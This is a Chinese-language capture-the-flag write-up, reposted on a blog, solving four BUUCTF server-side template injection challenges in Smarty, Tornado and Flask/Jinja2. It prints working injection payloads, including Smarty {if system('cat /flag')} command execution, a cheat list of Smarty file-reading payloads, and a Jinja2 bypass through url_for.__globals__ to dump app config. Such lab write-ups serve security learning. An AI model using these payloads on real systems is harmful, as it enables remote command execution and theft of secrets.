BUUCTF SSTI


[BJDCTF2020]The mystery of ip

考點:SSTI-smarty

解題

習慣性打開Flag,進入/flag.php,“Your IP is : 172.16.170.85”,抓包,添加XFF,發現可控,然后不會利用,還是搜wp,測試存在ssti,用版本號,測出是Smarty模板,直接用它的payload就給解出來了
DGeedx.png

總結

在發現可控點后,沒想到是ssti

[護網杯 2018]easy_tornado

考點:SSTI-tornado模板
Tornado是python的web框架
打開題目是3個txt的鏈接:

依次打開,注意url:

flag在/fllllllllllllag



cookie_secret:https://tornado-zh.readthedocs.io/zh/latest/guide/security.html

把cookie_secret+md5(filename)進行md5就是filehash,要想辦法弄出cookie_secret

嘗試訪問/file?filename=/fllllllllllllag,url出現error?msg=Error,發現msg參數可控,其實file?filename=,(filename的值隨意)也是同樣的結果

服務端模版注入漏洞檢測payload整理

發現過濾了數學運算符

下載tornado框架源碼,導入pycharm,全局搜索cookie_secret:

看到cookie_secret在handler.application.settings配置中。

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '4dea0e25-9f47-4263-9be8-5b49b83ae3ec'}

利用cookie_secret,求出filehash:

<?php
$cookie_secret = '4dea0e25-9f47-4263-9be8-5b49b83ae3ec';
echo md5($cookie_secret.md5('/fllllllllllllag'));

payload:/file?filename=/fllllllllllllag&filehash=d42012554c615c9eabad5dd6533a2bb9
flag:

[CISCN2019 華東南賽區]Web11(Smarty SSTI)


1、右上角的當前IP是buu靶機的內網IP;最下面的“Build With Smarty !”可猜網頁用PHP的Smarty引擎;中間XFF,猜測XFF處可能是SSTI注入點
{$smarty} 保留變量

可得Smarty版本為3.1.30,確定是Smarty的SSTI

2、ls查看目錄下有哪些文件:{if system("ls /")}{/if}

查看flag:{if system("cat /flag")}{/if}

筆記

Smarty常用payload:

利用smarty的{if}條件

  • {$smarty.version}查看smarty版本號

  • {if phpinfo()}{/if}查看php信息

  • {if system('ls /')}{/if}查看根目錄下的文件

  • {if system('cat /flag')}{/if}

  • {if readfile('/flag')}{/if}

  • {if show_source('/flag')}{/if}

[WesternCTF2018]shrine

考點:SSTI-Flask模板

解題:


查看頁面源代碼:

import flask
import os

app = flask.Flask(__name__)//參數__name__,獲取當前文件名__main__;app是一個flask對象

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/') # 設置路由,讀文件源碼
def index(): # 首頁函數
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')#把()替換為空格
        blacklist = ['config', 'self'] #黑名單
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s #把config和self替換為空格

    return flask.render_template_string(safe_jinja(shrine))#模板渲染


if __name__ == '__main__':
    app.run(debug=True) #開發時,開啟debug調試模式,只要代碼改變,服務器會重新加載代碼

1、測試,存在ssti

http://c78aa7fd-7ab6-406a-8059-001ee91d59ef.node3.buuoj.cn/shrine/{{7*7}}

2、

app.config['FLAG'] = os.environ.pop('FLAG')

這里說明flag在config中
當創建1個Flask對象(也就是app),就可以通過app.config來查看這個app的所有配置變量

s = s.replace('(', '').replace(')', '')#過濾了括號
blacklist = ['config', 'self'] #黑名單

本來我們可以使用config({{config}})或self({{self.__dict__}})獲取信息,但這題把它們過濾了
好在python有一些內置函數

  • url_for
  • get_flashed_messages

官方文檔:
https://flask.palletsprojects.com/en/1.0.x/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793
https://flask.palletsprojects.com/en/1.0.x/api/#flask.get_flashed_messages

url_for.__globals__:以字典類型返回當前位置的全部全局變量
注入url_for方法:

這個current_app是當前app,查看current_app下的config信息

/shrine/{{url_for.__globals__['current_app'].config}}

解法2:
同理,payload:

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

參考鏈接:

flask之ssti模版注入從零到入門
Python模板注入(SSTI)深入學習


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM